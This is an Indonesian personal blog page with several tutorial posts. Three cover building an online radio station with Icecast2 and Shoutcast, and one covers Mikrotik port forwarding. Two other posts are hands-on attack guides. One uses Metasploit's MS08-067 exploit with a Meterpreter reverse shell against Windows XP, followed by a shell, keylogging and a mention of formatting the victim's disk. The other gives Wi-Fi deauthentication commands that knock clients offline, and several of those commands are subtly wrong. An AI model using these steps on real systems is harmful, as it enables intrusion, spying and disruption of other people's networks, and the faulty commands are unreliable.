Berjalan melintasi gurun Sahara, mendaki Mount Everest dan menembus Cakrawala hanya satu tujuanku yaitu ...... Welcome to canaxiitkj2.blogspot.com "Mulailah Cakrawalamu disini"

Rabu, 27 Juli 2011

Membuat Radio Online Menggunakan Icecast2 Server, Shoutcast DSP, Flash Player (Part 3)

Pada halaman sebelumnya sebetulnya Radio Online Anda sudah bisa digunakan, namun pendengar harus menggunakan aplikasi pemutar lagu seperti Winamp, Windows Media Player, JetAudio, dll.
Sekarang kita akan memasang Player Radio Online di halaman website, sehingga pendengar ga perlu repot-repot membuka aplikasi tambahan, cukup mengakses website kita saja dan siaran langsung terdengar.
Saya sudah mencoba 2 player dan masing-masing memiliki cara yang berbeda dalam instalasinya. Semuanya bagus, free, dan mudah dalam instalasinya. Cukup mengerti kode html saja, maka Anda sudah bisa memasang player tersebut ke website Anda.
JWPlayer
Ini merupakan produk dari LongTailVideo, kelebihannya bisa gonta-ganti skin sehingga bisa disesuaikan dengan template website Anda. Untuk instalasinya, pertama Anda download JWPlayer dari websitenya.
Kemudian tambahkan skrip berikut ke website Anda
If you cannot see the player, you must have a JavaScript enabled browser as well as the latest Flash Player installed.



Asumsinya adalah Anda membuat folder bernama “jwplayer” yang berisi file JWPlayer yang telah Anda upload ke hosting Anda. Jadi memang perlu download JWPlayer dari LongTailVideo, kemudian mengupload ke hosting Anda supaya bisa berjalan dengan baik. Sebaiknya Anda baca lagi dokumentasinya untuk mengkonfigurasi lebih jauh.
Stream Monster
Player yang kedua ini jauh lebih mudah daripada JWPlayer. Kita tidak perlu repot-repot mengerti kode html, juga tidak perlu mengupload file player ke dalam hosting. Hanya saja kita gak bisa gonta-ganti template dan sangat tergantung dengan server StreamMonster. Maksudnya, jika suatu saat server mereka down, maka player kita gak akan muncul karena semua skrip player berada di server StreamMonster.
Hanya saja menurut saya kemungkinannya sangat kecil, jadi jika Anda kurang paham mengenai kode html saya sarankan untuk menggunakan StreamMonster. Cukup isi form wizard disini, nanti Anda akan mendapatkan kode html yang langsung dipasang di website Anda.
Kurang lebih kodenya seperti ini :
Hasilnya Anda bisa lihat di http://radio.ple-q.com
Naah.. kurang lebih begitulah cara membuat Radio Online, saya tuliskan dengan sejelas mungkin. Mudah-mudahan tidak membingungkan dan bisa Anda ikuti dengan mudah. Misalnya ada tanya-tanya silakan tulis di bagian komentar. Kalo sempet tak bales, kalo ga ya minimal tak liat deh.. Kalo susah ya mungkin gak tak jawab hehehe…
Selamat mengudara!

Membuat Radio Online Menggunakan Icecast2 Server, Shoutcast DSP, Flash Player (Part 2)

Supaya kita bisa melakukan streaming, maka kita butuh aplikasi bernama streamer. Nah, aplikasi streamer yang tersedia cukup banyak, misalnya Shoutcast DSP, Edcast, SAM Broadcaster, dll. Pada tutorial ini saya menggunakan Shoutcast DSP yang merupakan plugins pemutar mp3 populer yaitu Winamp.
Untuk langkah persiapan, Anda harus mendownload aplikasi berikut :
Saya anggap Anda sudah memiliki aplikasi Winamp jadi tidak perlu dijelaskan bagaimana cara instalasinya. Yang perlu Anda lakukan adalah menginstall Shoutcast DSP Plug-In.
Pada dasarnya proses instalasi Shoutcast DSP Plug-In sangat mudah, Anda cukup melakukan dobel-klik pada file installer yang telah Anda download, klik next-next pada setiap menu, dan voila! Shoutcast DSP sudah terinstall.
Konfigurasi Shoutcast DSP
Aplikasi Shoutcast DSP akan otomatis aktif bersamaan dengan aplikasi Winamp, jadi untuk menjalankan Shoutcast DSP, Anda cukup menjalankan Winamp saja, nanti otomatis akan muncul tampilan sebagai berikut :


Yang perlu kita konfigurasi sebetulnya hanya 2 tab saja, yaitu Input dan Output. Maka dari itu silakan klik tab Input pada Shoutcast DSP Plug-In.
Konfigurasi Input

Pada bagian ini, kita bisa menginput sumber siaran. Secara default akan terpilih Winamp, maka nantinya apapun musik yang dimainkan di Winamp akan distreamingkan ke Icecast2 Server. Apabila Anda ingin bisa cuap-cuap siaran, maka Anda bisa ubah Input Device menjadi mic, tergantung di komputer/laptop Anda tersedia mic atau tidak.
Untuk hasil yang lebih maksimal, sebaiknya gunakan peralatan mixer audio seperti yang terdapat di studio band, kemudian output dari mixer tersebut disambungkan ke port mic pada komputer/laptop, selanjutnya ubah Input Device pada Shoutcast DSP menjadi selain Winamp (tergantung settingan di komputer Anda).
Tanda bahwa data audio diterima dengan baik adalah pada bagian Input Levels akan terjadi aktifitas sesuai dengan beat dan volume dari data input. Semakin kencang sumber suara, maka Input Level akan semakin meningkat. Anda tinggal atur-atur saja menggunakan volume untuk mendapatkan suara yang paling nyaman.
Konfigurasi Output
Selanjutnya kita konfigurasi Output yang akan menghubungkan Shoutcast DSP dengan Icecast2 Server. Ini penting dilakukan supaya data audio yang telah diterima oleh Shoutcast DSP bisa diteruskan ke Icecast2 Server kemudian di broadcast ke seluruh pendengar. Silakan Anda klik tab Output.

  • Address : masukkan alamat ip Icecast2 Server. Anda bisa masukkan domain jika punya.
  • Port : masukkan angka 8000 sesuai dengan konfigurasi di Icecast2 Server
  • User ID : masukkan username : “stream”
  • Password : masukkan password yang tadi di konfigurasi pada Icecast2 Server.
  • Centang box pada pilihan “Use SHOUTcast v1 mode (for legacy servers)”.
Satu hal yang perlu kita lakukan adalah setting Encoder untuk mendukung proses streaming. Silakan klik tab Encoder.

  • Encoder Type : MP3 Encoder
  • Encoder Settings : 24kbps, 22.050kHz, Mono
Anda bisa merubah Encoder Settings menjadi yang lebih tinggi. Semakin tinggi angka tersebut maka hasil outputnya semakin bagus, misalnya 128kbps adalah setara CD Audio. Tapi efeknya adalah bandwidth yang Anda butuhkan untuk mengirimkan data ke Icecast2 Server menjadi lebih berat. Sesuaikan dengan kondisi di lingkungan Anda.
Koneksi ke Icecast2 Server
That’s It! Anda cuma setting bagian itu saja, untuk yang lain sih bisa Anda utak-atik sesuka hati. Settingan yang saya berikan diatas itu settingan standar yang bisa Anda eksplorasi lebih lanjut lagi.
Sekarang, kita tinggal mengkoneksikan Shoutcast DSP ke Icecast2 Server. Caranya tinggal klik “Connect”

Bila Shoutcast DSP Anda sama seperti diatas, dengan Status yang terus mengirimkan data maka konfigurasi Shoutcast DSP telah berhasil dan sudah terkoneksi dengan Icecast2 Server. Anda tinggal menjalankan mp3 pada Winamp untuk di-streaming-kan dan bisa didengarkan oleh pendengar.
Sampai disini Radio Online sudah siap digunakan.  Anda bisa menjalankan Radio Online secara langsung melalui aplikasi media player seperti Winamp, Windows Media Player, XMMS, dll. Supaya lebih keliatan Radio Online-nya, cobalah pada komputer/laptop lain yang telah terkoneksi dengan Internet. Kemudian gunakan menu “Play URL” atau “Open URL” lalu masukkan alamat http://alamat-ip-icecast:8000/stream. Anda juga bisa membukanya via BlackBerry dengan memasukkan alamat tersebut ke browser BB.
Langkah selanjutnya adalah memasang Player pada website sehingga pendengar tidak repot-repot membuka aplikasi media player, tapi cukup membuka website kita dan secara otomatis akan mendengarkan Radio Online

Membuat Radio Online Menggunakan Icecast2 Server, Shoutcast DSP, Flash Player (Part 1)

Membuat radio online itu mudah, tutorial sudah banyak tersedia di Internet, peralatan juga bisa diatur sesuai budget dari termurah hingga termahal semuanya bisa. Nah tutorial saya ini ceritanya akan membangun radio online menggunakan Icecast2 sebagai server streamingnya, kemudian Shoutcast DSP Plugins for Winamp sebagai streamernya, VPS dengan OS Ubuntu 10.04 sebagai servernya, dan JWPlayer sebagai player radio online supaya bisa ditampilkan di website/blog. Dalam kasus ini saya mau bikin radio online buat komunitas saya, Loenpia.Net
Kenapa harus pake VPS? Pake server pribadi kemudian ditancepin pake ip public khan bisa. Betul.. Saya pernah membuat server radio online dengan konsep begitu, memang murah karena hanya pake komputer spek rendah, saat itu pake Pentium 3, dikasih ip public dah bisa buat radio online.
Masalahnya adalah bandwidth yang harus saya sediakan. Karena membuat dedicated server sendiri, maka saya juga bertanggung jawab terhadap bandwidth. Streaming merupakan layanan yang boros bandwidth, dia akan mengirimkan data kepada client selama si client belum memutuskan koneksinya. Selain itu tipe bandwidth yang saya butuhkan adalah Upstream (bandwidth yang menangani hal upload), padahal kita tau kalo semua produk Internet di Indonesia hanya jualan bandwidth Downstream saja. Contohnya ya ada iklan bilang “Download up to 3,1 mbps” tapi apa pernah bilang berapa upload-nya? Bandwidth upload yang kita dapatkan sangat kecil dibanding download.
Maka dari itu saya memutuskan untuk menyewa VPS. Setelah nyari info di Kaskus, akhirnya pilihan saya jatuhkan ke Indonix yang menyediakan VPS dengan harga murah, cuma Rp. 59.000 / bulan untuk spesifikasi space 5GB, ram 256mb, dan bandwidth IIX unmetered. Sengaja saya pilih VPS yang IIX (berada di Indonesia) karena memang sasaran pendengarnya orang Indonesia juga. Walaupun letaknya di IIX, VPS ini bisa diakses dari luar negeri juga kok. Kemudian untuk OS pake Ubuntu yang sudah familiar, jadi ga perlu belajar lagi hehe..
Streaming Server
Setelah VPS aktif, hal yang saya lakukan adalah menginstall aplikasi Streaming Server. Ada 2 aplikasi yang terkenal dan sama-sama bagus, yaitu SHOUTcast dan Icecast2. Dalam project ini saya menggunakan Icecast2, alasannya simpel, karena VPS menggunakan Linux, kalo pakenya Windows pake Shoutcast aja. Sebenernya saya lebih suka menggunakan Shoutcast karena gampang install dan konfigurasinya, tapi ternyata pake Icecast2 juga gak susah. Paling hanya faktor Linux-nya aja.. Kalo belum familiar dengan linux memang agak susah, apalagi VPS khan tidak menyediakan GUI, kita akses menggunakan puTTY untuk mengkonfigurasi VPS, sehingga yang kita dapatkan hanya shell prompt. Tapi tenang aja, gak susah kok..
Oke sekarang kita mulai install Icecast2, saya akses VPS menggunakan PuTTY lalu login dengan akses root supaya bisa melakukan instalasi.
Install Icecast2 :
apt-get install icecast2
Perintah diatas akan menginstall aplikasi Icecast2 ke VPS. Selanjutnya Icecast2 harus dikonfigurasi supaya bisa berjalan dengan semestinya. Ada 2 file yang perlu kita edit, anda bisa menggunakan editor seperti nano, pico, atau vim. Saya menggunakan nano untuk mengedit.
File pertama :
nano /etc/icecast2/icecast.xml
Perintah diatas akan membuka file icecast.xml. Nanti Anda akan melihat banyak sekali baris kalimat, tapi tenang itu gak semuanya harus di konfigurasi. Berikut ini adalah konfigurasi file icecast.xml saya, Anda cukup menyesuaikan saja, sedangkan sisanya biarkan default.


password

password

admin
password
Konfigurasi diatas adalah untuk mengatur autentikasi server Icecast2. Anda cukup ganti tulisan “password” menjadi sesuka Anda. Password tersebut yang akan digunakan oleh Shoutcast DSP supaya bisa berkomunikasi dengan Icecast2.
localhost

/stream
/stream

8000

8001
1
Bisa dikatakan ini adalah bagian inti dari Icecast2 server, konfigurasi diatas mengatur mounting point, semacam suatu alamat yang digunakan untuk mendengarkan siaran radio kita. Pada konfigurasi diatas, mount-name yang digunakan adalah “/stream”, Anda bisa ganti menjadi apapun. Port yang digunakan adalah 8000, ini merupakan port standar untuk audio streaming, Anda bisa ganti ke port berapapun selama tidak bentrok dengan aplikasi yang ada di VPS. Biar aman sih pake port 8000 aja.
Anda melihat ada 2 settingan listen-socket khan? Nah settingan yang kedua itu adalah settingan supaya Icecast2 Server kita bisa menerima stream dari Shoutcast DSP. Sebagai informasi, defaultnya Icecast tidak menerima stream dari Shoutcast DSP, disarankan Anda menggunakan streamer seperti Edcast, SAM Broadcaster, dll. Ini dikarenakan Shoutcast DSP dirancang hanya untuk Shoutcast Server saja. Tapi dengan konfigurasi diatas, maka kita bisa menggunakan Shoutcast DSP yang diinstall pada Winamp untuk berkomunikasi dengan Icecast2 Server, yang tentunya gratisan dan hasil suaranya lebih bagus daripada Edcast.
Baiklah, untuk konfigurasi file icecast.xml hanya itu saja. Anda bisa simpan dan tutup file tersebut, kemudian kita lanjutkan untuk mengedit file kedua.
File kedua
nano /etc/default/icecast2
Perintah diatas akan membuka file icecast2. Di file ini Anda cukup mencari baris terakhir yang berisi
ENABLE=false
Anda cukup ganti tulisan “false” menjadi “true”, sehingga menjadi
ENABLE=true
Simpan dan tutup file tersebut. Maka server Icecast2 otomatis aktif jika VPS tiba-tiba restart.
Menjalankan Icecast2 Server
/etc/init.d/icecast2 start
Perintah diatas akan menjalankan server icecast2 yang baru saja kita konfigurasi, bila Anda melakukan konfigurasi diatas dengan benar seharusnya tidak ada pesan error dan Icecast2 Server sudah siap digunakan.
Untuk mengeceknya buka web browser kemudian ketikkan url http://alamat-ip:8000 di address bar. Seharusnya akan muncul tampilan berikut.

Bila Anda melihat tampilan itu di browser Anda, maka selamat! Icecast2 Server telah sukses terinstall dan siap digunakan. Bagian selanjutnya adalah instalasi dan konfigurasi Shoutcast DSP untuk menyalurkan suara dari laptop ke Icecast2 Server.

Rabu, 13 Juli 2011

Melihat celah keamanan win***s dengan metasploit



Metasploit adalah salah satu tools untuk mengekploitasi celah keamanan dari sebuah sistem operasi. Metasploit adalah sebuah framework yang diciptakan dengan bahasa pemrograman ruby. Metasploit dapat di download di situs resminya yaitu http://www.metasploit.com. Untuk mengetahui lebih jelas dan juga lebih mendalam saya sangat menganjurkan anda bisa mengunjungi sebuah situs apabila anda ingin belajar tentang metasploit yaitu di : http://www.offensive-security.com/metasploit-unleashed/. Disini kita akan belajar mengetahui salah satu celah keamanan sistem operasi win***s. Kenapa kita membahas win***s ??? karena banyak celah yang bisa diexploitasi :-P
Metasploit mempunyai 3 macam interface untuk saat ini : console, gui, dan juga cli. Untuk kali ini kita akan membahas tentang metasploit dengan interface console. Kenapa console....??? karena dia lebih powerful. Untuk OS yang saya gunakan saat ini untuk belajar metasploit adalah menggunakan ubuntu linux 10.04, tapi untuk teman-teman yang menggunakan win***s jangan kecewa terlebih dahulu karena metasploit juga support untuk OS windows, dan cara menggunakannyapun pada prinsipnya adalah sama saja.
Okay.... so... let's go to the point..... Disini kita akan mencari celah keamanan dari keluarga win***s, untuk praktek kali ini saya menggunakan win***s xp sebagai komputer target, karena win***s xp paling banyak di gunakan untuk saat ini. Persiapan yang perlu kita lakukan :
1. Scan ip address computer target untuk mengetahui port berapa saja yang terbuka dengan cara seperti dibawah ini (saya menggunakan nmap) :
(disini saya menggunakan virtual box)
terlihat ip addreas saya adalah 192.168.56.1, lalu kita scan jaringan dari alamat 192.168.56.2 sampai 192.168.56.105 dengan menggunakan nmap dengan mengetikkan :
nmap -T4 -O 192.168.56.2-105. Hasilnya akan terlihat kira – kira seperti dibawah ini :
disini terlihat port 445 terbuka. Port ini lah yang akan kita exploitasi.
Port 445 terbuka karena kita mengaktifkan "file and printer sharing". Kebanyakan perusahaan sering mengaktifkan hal ini, dan ini adalah sangat riskan sekali bila kita kurang mengerti tentang bahayanya apabila port 445 tidak kita filter.
2. It's show time....
- Kita buka terminal di linux lalu masuk sebagai root dengan mengetikkan sudo su lalu tekan enter kemudian ketikkan password anda.

- Setelah itu ketikkan msfconsole lalu akan muncul tampilan seperti dibawah ini :


Hal yang perlu dilakukan untuk menjalankan metasploit adalah :
a. use
b. set payloads
c. set
d. exploit


1. use exploits => untuk melihat exploits yang ada ketikan show exploit lalu tekan enter untuk port 445 kita akan menggunakan exploit yaitu windows/smb/ms08_067_netapi
2. set payloads => untuk melihat payloads yang ada ketikan show payloads lalu tekan enter payloads yang kita gunakan adalah windows/meterpreter/reverse_tcp
3. set options => untuk melihat options yang ada ketikan show options lalu tekan enter rhost (ip target →192.168.56.101) masih kosong, jadi harus di set
check apakah rhost sudah terisi dengan perintah show options.
4. exploit => ketikkan exploit dan biarkan metasploit bekerja..... :) apabila success akan seperti gambar dibawah ini :
Setelah exploit berhasil kita bisa mengetikan help atau bisa juga ? Lalu tekan enter
Banyak sekali command atau perintah yang bisa kita gunakan disitu. Salah satu perintah yang bisa kita gunakan adalah perintah shell => untuk masuk command prompt win***s
kita bisa melakukan apa saja lewat command prompt termasuk untuk format hardisk komputer target. => disini kita cuma belajar, jadi jangan dilakukan di dunia nyata yach....
selain itu kita bisa juga menggunakan keyloger untuk mengetahui apa saja yang diketik di komputer target :
untuk perintah-perintah yang lain anda bisa mencoba bereksplorasi sendiri.... atau bisa menanyakan sama “SI MBAH” => mbah google maksudnya :-D

Sabtu, 19 Februari 2011

Wifi Deauthentication with Backtrack Live-CD

Equipment :
Persiapan :
Burn Bactrack ISO file hasil download di CD Blank. Boot sampai selesai menggunakan ini. Check usb wireless adapter for Madwifi Driver support. Gunakan teminal window / shell konsole
Gunakan perintah iwconfig untuk melihat wireless adapter yang tercipta.
iwconfig
Gunakan perintah airmon-ng untuk melihat infomasi wireless adapter.
airmon-ng
Gunakan kismet untuk mengetahui infomasi :
  • Network lain yang terdeteksi
  • Matikan autofit - shortcut “s”
  • Sort berdasarkan SSID – shortcut “f”
  • Network detail – Informasi lebih lanjut – shortcut “i”
  • Catat BSSID / MAC Address Access Point, channel
  • Show client in the current network – shortcut “c” – untuk melihat informasi client yang terhubung AP diatas.
  • Shortcut “x” (exit), tunggu beberapa saat, shortcut “c” lagi untuk refresh informasi client jika memperbaharui client yang terkoneksi.
Kismet ini berjalan pada modus monitor ( sniffing ) dan wireless adapter yg digunakan harus support.
Untuk informasi wireless adapter kita (MAC Address) , gunakan ipconfig
ipconfig/all
..Dari persiapan di atas, kita mendapatkan informasi Wireless Adapter, SSID, Channel, MAC AP (BSSID), MAC Client….
Misal :
Wireless Adapter : wifi0, ath0 dan eth0
SSID : YourNet
Channel : 1
MAC AP (BSSID) : 00:18:39:39:23:66
MAC Client : 00:18:DE:C3:D8:58
Deauthentication
Serangan deauthentication, kita harus mengirimkan paket deauthentication melalui wireless network adapter. Wireless Adapter yang kita pakai harus mendukung feature ini.
Buat virtual adapter baru
airmon-ng start wifi0
virtual adapter ath1 akan terbentuk. Aktifkan virtual adapter tersebut !!
ifconfig ath1 up
iwconfig ath1 mode monitor channel 1
aireply-ng deauth 10 -c 00:18:39:39:23:66 -a 00:18:DE:C3:D8:58 ath1
Paket deauthentication yang terkirim 10 kali berturut-turut dengan MAC client yang akan di disconnect ( 00:18:DE:C3:D8:58 ) dan MAC Address dari AP ( 00:18:39:39:23:66 ). Pengiriman paket melalui wireless adapter ath1.
atau kirim ke alamat broadcast
aireply-ng deauth 10 -c FF:FF:FF:FF:FF:FF:FF -a 00:18:39:39:23:66 ath1
untuk memutus semua client…
Jika injection packet deauthentication berhasil dilakukan, pada beberapa reply request, akan menampilkan Request time out dan General failure …. Serangan ini tidak bisa dicegah dengan WEP, WPA, WPA2
Trick ini merupakan salah satu wardriving dengan menggunakan Linux dengan distro backtrack..

Senin, 31 Januari 2011

Port Forwarding Ip Publik Speedy

Asumsi bahwa koneksi menggunakan Speedy dan mendapatkan ip publik.
ether1 = 192.168.1.11 (mengarah ke modem)
ether2 = 192.168.3.2 (mengarah ke webserver)
ip webserver = 192.168.3.1
DMZ Host pada modem di arahkan ke ip ether1 mikrotik=192.168.1.11
Membuka akses webserver (port 80) melalui webbrowser dari ip publik (luar, port 80)
/ip firewall
nat add chain=dstnat action=dst-nat to-address=192.168.3.1 to-ports=80 dst-address=192.168.1.11 protocol=tcp dst-port=80
Membuka akses ssh (port 22) menuju webserver
nat add chain=dstnat action=dst-nat to-address=192.168.3.1 to-ports=22 dst-address=192.168.1.11 protocol=tcp dst-port=22
Membuka akses ftp (port 21) menuju webserver
nat add chain=dstnat action=dst-nat to-address=192.168.3.1 to-ports=21 dst-address=192.168.1.11 protocol=tcp dst-port=21
Mengakses Mikrotik Webbox (port 80), akan dialihkan ke port 82 ether1
Sehingga nantinya: http://ip_publik:82 akan otomatis diarahkan ke http://ip_mikrotik:80
nat add chain=dstnat action=dst-nat to-address=192.168.1.11 to-ports=80 dst-address=192.168.1.11 protocol=tcp dst-port=82
Membuka akses ftp ke Mikrotik (port 21) dari luar (publik) menggunakan port 23
nat add chain=dstnat action=dst-nat to-address=192.168.1.11 to-ports=21 dst-address=192.168.1.11 protocol=tcp dst-port=23
Yang penting modem udah DMZ ke ip ether1 mikrotik, masalah beres.